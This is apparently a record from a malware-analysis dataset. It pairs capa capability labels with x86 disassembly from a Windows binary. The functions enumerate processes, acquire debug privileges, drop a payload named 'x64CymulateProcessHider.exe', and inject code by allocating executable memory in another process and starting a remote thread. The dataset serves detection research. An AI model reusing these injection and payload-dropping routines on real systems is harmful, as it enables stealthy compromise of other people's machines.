joyce8/EMBER2024-capa huggingface dataset:
Function at 0x402580
Capabilities:
Enumerate process modules

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x440
mov eax, dword [0x52b420]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 0x43c], 0
cmp dword [ebp + 8], 0
je 0x4025ae
mov eax, dword [ebp + 8]
mov dword [ebp - 0x438], eax
jmp 0x4025bc
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov dword [ebp - 0x438], eax
mov ecx, dword [ebp - 0x438]
mov dword [ebp - 0x440], ecx
push 0
push 8
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov dword [ebp - 0x434], eax
cmp dword [ebp - 0x434], 0xffffffff
je 0x4026ab
push 0x428
push 0
lea edx, [ebp - 0x42c]
push edx
call fcn.004194e0
add esp, 0xc
mov dword [ebp - 0x42c], 0x428
lea eax, [ebp - 0x42c]
push eax
mov ecx, dword [ebp - 0x434]
push ecx
call sub.KERNEL32.dll_Module32FirstW
test eax, eax
je 0x402624
mov byte [ebp - 0x42d], 1
jmp 0x40262b
mov byte [ebp - 0x42d], 0
mov dl, byte [ebp - 0x42d]
mov byte [ebp - 0x42f], dl
jmp 0x40266c
lea eax, [ebp - 0x42c]
push eax
mov ecx, dword [ebp - 0x434]
push ecx
call sub.KERNEL32.dll_Module32NextW
test eax, eax
je 0x402659
mov byte [ebp - 0x42e], 1
jmp 0x402660
mov byte [ebp - 0x42e], 0
mov dl, byte [ebp - 0x42e]
mov byte [ebp - 0x42f], dl
movzx eax, byte [ebp - 0x42f]
test eax, eax
je 0x40269e
mov ecx, dword [ebp - 0x410]
cmp ecx, dword [ebp - 0x440]
jne 0x40269c
lea edx, [ebp - 0x20c]
push edx
call fcn.00401740
add esp, 4
mov dword [ebp - 0x43c], eax
jmp 0x40269e
jmp 0x402639
mov eax, dword [ebp - 0x434]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x43c]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00416e65
mov esp, ebp
pop ebp
ret

Function at 0x402d40
Capabilities:
Acquire debug privileges

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
mov eax, dword [0x52b420]
xor eax, ebp
mov dword [ebp - 4], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x30]
push eax
push 0x28
mov ecx, dword [ebp - 0x28]
push ecx
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
mov dword [ebp - 0x2c], eax
lea edx, [ebp - 0x38]
push edx
push 0x43a3e4
push 0
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x14], 1
mov eax, 0xc
imul ecx, eax, 0
mov edx, dword [ebp - 0x38]
mov eax, dword [ebp - 0x34]
mov dword [ebp + ecx - 0x10], edx
mov dword [ebp + ecx - 0xc], eax
mov ecx, 0xc
imul edx, ecx, 0
mov dword [ebp + edx - 8], 2
lea eax, [ebp - 0x3c]
push eax
lea ecx, [ebp - 0x24]
push ecx
push 0x1c
lea edx, [ebp - 0x14]
push edx
push 0
mov eax, dword [ebp - 0x30]
push eax
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00416e65
mov esp, ebp
pop ebp
ret
Function at 0x406280
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x438e20
mov eax, dword fs:[0]
push eax
push ecx
sub esp, 0x248
mov eax, dword [0x52b420]
xor eax, ebp
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
mov dword [ebp - 0x244], ecx
mov dword [ebp - 4], 0
mov dword [ebp - 0x248], 0
push 0
push 6
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov dword [ebp - 0x24c], eax
cmp dword [ebp - 0x24c], 0xffffffff
je 0x4063ba
mov dword [ebp - 0x240], 0x22c
push 0x228
push 0
lea eax, [ebp - 0x23c]
push eax
call fcn.004194e0
add esp, 0xc
lea ecx, [ebp - 0x240]
push ecx
mov edx, dword [ebp - 0x24c]
push edx
call sub.KERNEL32.dll_Process32FirstW
test eax, eax
je 0x406397
push 0x43acd0
lea eax, [ebp - 0x21c]
push eax
call fcn.0041c1e0
add esp, 8
test eax, eax
je 0x40634c
push 0x43ad58
lea ecx, [ebp - 0x21c]
push ecx
call fcn.0041c1e0
add esp, 8
test eax, eax
jne 0x406380
mov edx, dword [ebp - 0x238]
push edx
push 0
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov dword [ebp - 0x248], eax
cmp dword [ebp - 0x248], 0
je 0x406380
push 0xffffffffffffffff
mov eax, dword [ebp - 0x248]
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
jmp 0x406397
lea ecx, [ebp - 0x240]
push ecx
mov edx, dword [ebp - 0x24c]
push edx
call sub.KERNEL32.dll_Process32NextW
test eax, eax
jne 0x40631c
cmp dword [ebp - 0x248], 0
je 0x4063ad
mov eax, dword [ebp - 0x248]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 0x24c]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x4063c2
mov dword [ebp - 4], 0xffffffff
jmp 0x4063d2
mov edx, dword [ebp - 0x244]
cmp dword [edx + 0x4c], 0
je 0x406447
mov eax, dword [ebp - 0x244]
mov ecx, dword [eax + 0x4c]
push ecx
push 0x43ab84
push 0
push 0
call fcn.00407780
add esp, 0x10
mov dword [ebp - 0x250], eax
mov edx, dword [ebp - 0x250]
add edx, 1
push edx
call fcn.00416a09
add esp, 4
mov dword [ebp - 0x254], eax
mov eax, dword [ebp - 0x244]
mov ecx, dword [ebp - 0x254]
mov dword [eax + 0x54], ecx
mov edx, dword [ebp - 0x244]
mov eax, dword [edx + 0x4c]
push eax
push 0x43acb4
mov ecx, dword [ebp - 0x244]
mov edx, dword [ecx + 0x54]
push edx
call fcn.00407840
add esp, 0xc
push 0
push 0
mov eax, dword [ebp - 0x244]
push eax
push 0x4075b0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, dword [ebp - 0x244]
mov dword [ecx + 0x34], eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.00416e65
mov esp, ebp
pop ebp
ret
Function at 0x407280
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x438e4a
mov eax, dword fs:[0]
push eax
push ecx
sub esp, 0x240
mov eax, dword [0x52b420]
xor eax, ebp
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
mov dword [ebp - 0x24c], ecx
mov dword [ebp - 4], 0
push 0
push 6
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov dword [ebp - 0x248], eax
cmp dword [ebp - 0x248], 0xffffffff
je 0x407362
mov dword [ebp - 0x240], 0x22c
push 0x228
push 0
lea eax, [ebp - 0x23c]
push eax
call fcn.004194e0
add esp, 0xc
lea ecx, [ebp - 0x240]
push ecx
mov edx, dword [ebp - 0x248]
push edx
call sub.KERNEL32.dll_Process32FirstW
test eax, eax
je 0x407355
push 0x43ad14
lea eax, [ebp - 0x21c]
push eax
call fcn.0041c1e0
add esp, 8
test eax, eax
jne 0x40733e
mov ecx, dword [ebp - 0x248]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
jmp 0x4073cb
lea edx, [ebp - 0x240]
push edx
mov eax, dword [ebp - 0x248]
push eax
call sub.KERNEL32.dll_Process32NextW
test eax, eax
jne 0x407312
mov ecx, dword [ebp - 0x248]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, dword [ebp - 0x24c]
mov eax, dword [edx + 0x48]
push eax
push 0x43ad34
mov ecx, dword [ebp - 0x24c]
push ecx
call fcn.00406ae0
add esp, 0xc
xor al, al
jmp 0x4073cb
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.00416e65
mov esp, ebp
pop ebp
ret
Function at 0x407ea0
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x438e9d
mov eax, dword fs:[0]
push eax
push ecx
sub esp, 0x2c
push ebx
push esi
push edi
mov eax, dword [0x52b420]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
mov dword [ebp - 0x38], ecx
mov dword [ebp - 4], 0
mov dword [ebp - 0x1c], 0
push 6
push 0x43b050
mov eax, dword [ebp + 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0
jne 0x407efe
xor al, al
jmp 0x40800b
mov dword [ebp - 0x24], 0
mov ecx, dword [ebp - 0x1c]
push ecx
mov edx, dword [ebp + 0xc]
push edx
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 0
jne 0x407f23
xor al, al
jmp 0x40800b
mov dword [ebp - 0x28], 0
mov eax, dword [ebp - 0x24]
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 0
jne 0x407f44
xor al, al
jmp 0x40800b
mov dword [ebp - 0x18], 0
mov ecx, dword [ebp - 0x1c]
push ecx
mov edx, dword [ebp + 0xc]
push edx
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
jne 0x407f69
xor al, al
jmp 0x40800b
mov eax, dword [ebp - 0x18]
push eax
call fcn.00416a09
add esp, 4
mov dword [ebp - 0x30], eax
mov ecx, dword [ebp - 0x30]
mov dword [ebp - 0x34], ecx
mov edx, dword [ebp - 0x34]
mov dword [ebp - 0x2c], edx
mov eax, dword [ebp - 0x18]
push eax
mov ecx, dword [ebp - 0x28]
push ecx
mov edx, dword [ebp - 0x2c]
push edx
call fcn.00418f60
add esp, 0xc
push 0
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_BeginUpdateResourceA]
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0
je 0x407fe2
mov ecx, dword [ebp - 0x18]
push ecx
mov edx, dword [ebp - 0x2c]
push edx
push 0
push 0x43b060
push 6
mov eax, dword [ebp - 0x20]
push eax
call dword [sym.imp.KERNEL32.dll_UpdateResourceA]
test eax, eax
je 0x407fd8
push 0
mov ecx, dword [ebp - 0x20]
push ecx
call dword [sym.imp.KERNEL32.dll_EndUpdateResourceA]
mov edx, dword [ebp - 0x20]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x407ff4
mov dword [ebp - 4], 0xffffffff
jmp 0x408009
mov al, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
Function at 0x40f850
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
call dword [sym.imp.KERNEL32.dll_GetVersion]
cmp eax, 6
jb 0x40f86a
mov dword [ebp - 4], 0x43b2f0
jmp 0x40f871
mov dword [ebp - 4], str.D:_A__GA___WD__A__GA___AN_
push 0
lea eax, [ebp - 8]
push eax
push 1
mov ecx, dword [ebp - 4]
push ecx
call sub.ADVAPI32.dll_ConvertStringSecurityDescriptorToSecurityDescriptorW
test eax, eax
jne 0x40f88a
xor eax, eax
jmp 0x40f88d
mov eax, dword [ebp - 8]
mov esp, ebp
pop ebp
ret
Function at 0x410660
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov dword [ebp - 0x14], 0
push 0x104
mov eax, dword [ebp + 8]
push eax
call fcn.00412320
add esp, 8
push str.x64CymulateProcessHider.exe
push 0x104
mov ecx, dword [ebp + 8]
push ecx
call fcn.00422472
add esp, 0xc
push 0
push 0x80
push 2
push 0
push 0
push 0xc0000000
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x41072d
mov dword [ebp - 0xc], 0xa8600
mov dword [ebp - 4], 0
push 0
lea eax, [ebp - 4]
push eax
push 0xa8600
push 0x43bc00
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
je 0x4106fb
mov edx, dword [ebp - 4]
cmp edx, dword [ebp - 0xc]
jne 0x4106fb
mov dword [ebp - 0x14], 1
jmp 0x410721
mov eax, dword [ebp - 0xc]
push eax
mov ecx, dword [ebp - 4]
push ecx
mov edx, dword [ebp - 0x10]
push edx
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.Log:SaveX64ProcessToFile::WriteFile___Failed___GetLastError_____lu__write_res___d__dwBytesWritten___lu__res_size___lu._n
mov eax, dword [0x52c378]
push eax
call fcn.00406ae0
add esp, 0x18
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x410748
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.Log:SaveX64ProcessToFile::CreateFileA_Failed__lu_n
mov edx, dword [0x52c378]
push edx
call fcn.00406ae0
add esp, 0xc
mov eax, dword [ebp - 0x14]
mov esp, ebp
pop ebp
ret
Function at 0x410750
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x11c
mov eax, dword [0x52b420]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov dword [ebp - 0x114], 0
push 0x104
mov eax, dword [ebp + 8]
push eax
call fcn.00412320
add esp, 8
mov ecx, dword [ebp + 8]
push ecx
push str.Log:resFullName:__s_n
mov edx, dword [0x52c378]
push edx
call fcn.00406ae0
add esp, 0xc
mov eax, dword [0x52c374]
mov ecx, dword [eax + 0x10]
push ecx
call fcn.0041c2f0
add esp, 4
mov esi, eax
mov edx, dword [0x52c374]
mov eax, dword [edx]
push eax
call fcn.0041c2f0
add esp, 4
add esi, eax
mov ecx, dword [ebp + 8]
push ecx
call fcn.0041c2f0
add esp, 4
add esi, eax
mov dword [ebp - 0x10c], esi
cmp dword [ebp - 0x10c], 0x104
jb 0x4107f9
mov edx, dword [ebp - 0x10c]
push edx
push str.Log:stack_overrun__length:_ulDestinationSize____d___n
mov eax, dword [0x52c378]
push eax
call fcn.00406ae0
add esp, 0xc
jmp 0x410814
mov ecx, dword [ebp - 0x10c]
push ecx
push str.Log:ulDestinationSize:__d_n
mov edx, dword [0x52c378]
push edx
call fcn.00406ae0
add esp, 0xc
mov eax, dword [0x52c374]
mov ecx, dword [eax]
push ecx
push str.Log:resHandler__ResorceFileName:__s_n
mov edx, dword [0x52c378]
push edx
call fcn.00406ae0
add esp, 0xc
push 0x104
push 0
lea eax, [ebp - 0x108]
push eax
call fcn.004194e0
add esp, 0xc
mov ecx, dword [0x52c374]
mov edx, dword [ecx]
push edx
mov eax, dword [0x52c374]
mov ecx, dword [eax + 0x10]
push ecx
mov edx, dword [ebp + 8]
push edx
push str._hs_hs_hs
lea eax, [ebp - 0x108]
push eax
call fcn.00407840
add esp, 0x14
lea ecx, [ebp - 0x108]
push ecx
push str.Log:Payload_File___hs_n
mov edx, dword [0x52c378]
push edx
call fcn.00406ae0
add esp, 0xc
push 0x104
lea eax, [ebp - 0x108]
push eax
mov ecx, dword [ebp + 8]
push ecx
call fcn.00418f60
add esp, 0xc
push 0
push 0x80
push 2
push 0
push 0
push 0xc0000000
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x110], eax
cmp dword [ebp - 0x110], 0
je 0x41092d
push 0
lea eax, [ebp - 0x11c]
push eax
mov ecx, dword [0x52c374]
mov edx, dword [ecx + 0xc]
push edx
mov eax, dword [0x52c374]
mov ecx, dword [eax + 8]
push ecx
mov edx, dword [ebp - 0x110]
push edx
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov dword [ebp - 0x118], eax
cmp dword [ebp - 0x118], 0
je 0x410920
mov eax, dword [0x52c374]
mov ecx, dword [ebp - 0x11c]
cmp ecx, dword [eax + 0xc]
jne 0x410920
mov dword [ebp - 0x114], 1
mov edx, dword [ebp - 0x110]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x114]
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00416e65
mov esp, ebp
pop ebp
ret
Function at 0x410950
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
push 0x44
push 0
lea eax, [ebp - 0x54]
push eax
call fcn.004194e0
add esp, 0xc
mov dword [ebp - 0x54], 0x44
mov dword [ebp - 0x28], 0x100
xor ecx, ecx
mov word [ebp - 0x24], cx
xor edx, edx
mov dword [ebp - 0x10], edx
mov dword [ebp - 0xc], edx
mov dword [ebp - 8], edx
mov dword [ebp - 4], edx
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp + 8]
push ecx
push str.Log:Executing__s__s_n
mov edx, dword [0x52c378]
push edx
call fcn.00406ae0
add esp, 0x10
lea eax, [ebp - 0x10]
push eax
lea ecx, [ebp - 0x54]
push ecx
push 0
push 0
push 0x8000000
push 0
push 0
push 0
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jge 0x4109d2
or eax, 0xffffffff
jmp 0x4109d5
mov eax, dword [ebp - 8]
mov esp, ebp
pop ebp
ret

Function at 0x410af0
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x150
mov eax, dword [0x52b420]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 0x148], 0
push 0x40
push 0
lea eax, [ebp - 0x13c]
push eax
call fcn.004194e0
add esp, 0xc
push 0x40
lea ecx, [ebp - 0x13c]
push ecx
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp + 8]
push eax
call fcn.004115d0
add esp, 0x10
movzx ecx, al
test ecx, ecx
je 0x410c30
movzx edx, word [ebp - 0x13c]
cmp edx, 0x5a4d
jne 0x410c30
push 0xf8
push 0
lea eax, [ebp - 0xfc]
push eax
call fcn.004194e0
add esp, 0xc
push 0xf8
lea ecx, [ebp - 0xfc]
push ecx
mov edx, dword [ebp + 0xc]
add edx, dword [ebp - 0x100]
push edx
mov eax, dword [ebp + 8]
push eax
call fcn.004115d0
add esp, 0x10
movzx ecx, al
test ecx, ecx
je 0x410c30
cmp dword [ebp - 0xfc], 0x4550
jne 0x410c30
mov edx, dword [ebp - 0xa8]
mov dword [ebp - 0x140], edx
cmp dword [ebp - 0x140], 0
je 0x410c30
mov eax, dword [ebp - 0x140]
push eax
call fcn.00416a09
add esp, 4
mov dword [ebp - 0x14c], eax
mov ecx, dword [ebp - 0x14c]
mov dword [ebp - 0x144], ecx
mov edx, dword [ebp - 0x140]
push edx
mov eax, dword [ebp - 0x144]
push eax
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
call fcn.004115d0
add esp, 0x10
movzx eax, al
test eax, eax
je 0x410c13
mov ecx, dword [ebp - 0x144]
mov dword [ebp - 0x148], ecx
jmp 0x410c30
mov edx, dword [ebp - 0x144]
mov dword [ebp - 0x150], edx
push 0
mov eax, dword [ebp - 0x150]
push eax
call fcn.004169fb
add esp, 8
mov eax, dword [ebp - 0x148]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00416e65
mov esp, ebp
pop ebp
ret
Function at 0x410d30
Capabilities:
Inspect section memory permissions

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov dword [ebp - 4], 0
mov eax, dword [ebp + 8]
and eax, 0x20000000
je 0x410d9e
mov ecx, dword [ebp + 8]
and ecx, 0x40000000
je 0x410d78
mov edx, dword [ebp + 8]
and edx, 0x80000000
je 0x410d66
mov dword [ebp - 8], 0x40
jmp 0x410d6d
mov dword [ebp - 8], 0x20
mov eax, dword [ebp - 4]
or eax, dword [ebp - 8]
mov dword [ebp - 4], eax
jmp 0x410d9c
mov ecx, dword [ebp + 8]
and ecx, 0x80000000
je 0x410d8c
mov dword [ebp - 0xc], 0x80
jmp 0x410d93
mov dword [ebp - 0xc], 0x10
mov edx, dword [ebp - 4]
or edx, dword [ebp - 0xc]
mov dword [ebp - 4], edx
jmp 0x410df1
mov eax, dword [ebp + 8]
and eax, 0x40000000
je 0x410dce
mov ecx, dword [ebp + 8]
and ecx, 0x80000000
je 0x410dbc
mov dword [ebp - 0x10], 4
jmp 0x410dc3
mov dword [ebp - 0x10], 2
mov edx, dword [ebp - 4]
or edx, dword [ebp - 0x10]
mov dword [ebp - 4], edx
jmp 0x410df1
mov eax, dword [ebp + 8]
and eax, 0x80000000
je 0x410de1
mov dword [ebp - 0x14], 8
jmp 0x410de8
mov dword [ebp - 0x14], 1
mov ecx, dword [ebp - 4]
or ecx, dword [ebp - 0x14]
mov dword [ebp - 4], ecx
mov edx, dword [ebp + 8]
and edx, 0x4000000
je 0x410e07
mov eax, dword [ebp - 4]
or eax, 0x200
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret
Function at 0x4118d0
Capabilities:
Allocate or change rwx memory
Create thread
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
mov dword [ebp - 0x2c], 0
mov eax, 0x412440
sub eax, 0x4123f0
mov dword [ebp - 0xc], eax
cmp dword [ebp + 0xc], 0
je 0x411904
mov ecx, dword [ebp + 0xc]
push ecx
call fcn.0041c2f0
add esp, 4
add eax, 1
mov dword [ebp - 0x18], eax
jmp 0x41190b
mov dword [ebp - 0x18], 0
mov edx, dword [ebp - 0x18]
mov dword [ebp - 0x20], edx
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0xc]
lea edx, [ecx + eax + 0xc]
mov dword [ebp - 0x30], edx
push 0x40
push 0x3000
mov eax, dword [ebp - 0x30]
push eax
push 0
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
je 0x411a99
mov edx, dword [ebp - 0x14]
mov dword [ebp - 0x10], edx
mov eax, dword [ebp - 0x10]
add eax, dword [ebp - 0xc]
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
add ecx, 0xc
mov dword [ebp - 0x24], ecx
xor edx, edx
mov dword [ebp - 0x3c], edx
mov dword [ebp - 0x38], edx
mov dword [ebp - 0x34], edx
push str.LoadLibraryA
push 0x4e4d24
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call fcn.00411df0
add esp, 8
mov dword [ebp - 0x3c], eax
cmp dword [ebp + 0xc], 0
je 0x41198f
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x1c], eax
jmp 0x411996
mov dword [ebp - 0x1c], 0
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x38], ecx
mov edx, dword [ebp - 0xc]
push edx
push 0x4123f0
mov eax, dword [ebp - 0x10]
push eax
mov ecx, dword [ebp + 8]
push ecx
call fcn.00411650
add esp, 0x10
movzx edx, al
test edx, edx
je 0x411a84
push 0xc
lea eax, [ebp - 0x3c]
push eax
mov ecx, dword [ebp - 4]
push ecx
mov edx, dword [ebp + 8]
push edx
call fcn.00411650
add esp, 0x10
movzx eax, al
test eax, eax
je 0x411a84
cmp dword [ebp + 0xc], 0
je 0x411a06
mov ecx, dword [ebp - 0x20]
push ecx
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp - 0x24]
push eax
mov ecx, dword [ebp + 8]
push ecx
call fcn.00411650
add esp, 0x10
movzx edx, al
test edx, edx
je 0x411a84
push 0
push 0
mov eax, dword [ebp - 4]
push eax
mov ecx, dword [ebp - 0x10]
push ecx
push 0
push 0
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x411a84
push 0xffffffffffffffff
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [ebp - 0x28], 0x54fd32fc
lea ecx, [ebp - 0x28]
push ecx
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.KERNEL32.dll_GetExitCodeThread]
test eax, eax
je 0x411a7a
cmp dword [ebp - 0x28], 0xab02cd03
jne 0x411a7a
push 0xc
lea eax, [ebp - 0x3c]
push eax
mov ecx, dword [ebp - 4]
push ecx
mov edx, dword [ebp + 8]
push edx
call fcn.004115d0
add esp, 0x10
movzx eax, al
test eax, eax
je 0x411a7a
mov ecx, dword [ebp - 0x34]
mov dword [ebp - 0x2c], ecx
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x8000
push 0
mov eax, dword [ebp - 0x14]
push eax
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov eax, dword [ebp - 0x2c]
mov esp, ebp
pop ebp
ret
Function at 0x411aa0
Capabilities:
Allocate or change rwx memory
Create thread
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
mov byte [ebp - 1], 0
mov eax, 0x4124a0
sub eax, 0x412450
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp - 0xc]
add ecx, 0xc
mov dword [ebp - 0x20], ecx
push 0x40
push 0x3000
mov edx, dword [ebp - 0x20]
push edx
push 0
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
je 0x411bf4
mov ecx, dword [ebp - 0x18]
mov dword [ebp - 0x10], ecx
mov edx, dword [ebp - 0x10]
add edx, dword [ebp - 0xc]
mov dword [ebp - 0x14], edx
xor eax, eax
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x24], eax
push 0x4e4d8c
push 0x4e4d98
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call fcn.00411df0
add esp, 8
mov dword [ebp - 0x2c], eax
mov ecx, dword [ebp + 0xc]
mov dword [ebp - 0x28], ecx
mov edx, dword [ebp - 0xc]
push edx
push 0x412450
mov eax, dword [ebp - 0x10]
push eax
mov ecx, dword [ebp + 8]
push ecx
call fcn.00411650
add esp, 0x10
movzx edx, al
test edx, edx
je 0x411bdf
push 0xc
lea eax, [ebp - 0x2c]
push eax
mov ecx, dword [ebp - 0x14]
push ecx
mov edx, dword [ebp + 8]
push edx
call fcn.00411650
add esp, 0x10
movzx eax, al
test eax, eax
je 0x411bdf
push 0
push 0
mov ecx, dword [ebp - 0x14]
push ecx
mov edx, dword [ebp - 0x10]
push edx
push 0
push 0
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x411bdf
push 0xffffffffffffffff
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [ebp - 0x1c], 0x54fd32fc
lea edx, [ebp - 0x1c]
push edx
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.KERNEL32.dll_GetExitCodeThread]
test eax, eax
je 0x411bd5
cmp dword [ebp - 0x1c], 0xab02cd03
jne 0x411bd5
push 0xc
lea ecx, [ebp - 0x2c]
push ecx
mov edx, dword [ebp - 0x14]
push edx
mov eax, dword [ebp + 8]
push eax
call fcn.004115d0
add esp, 0x10
movzx ecx, al
test ecx, ecx
je 0x411bd5
mov dl, byte [ebp - 0x24]
mov byte [ebp - 1], dl
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x8000
push 0
mov ecx, dword [ebp - 0x18]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov al, byte [ebp - 1]
mov esp, ebp
pop ebp
ret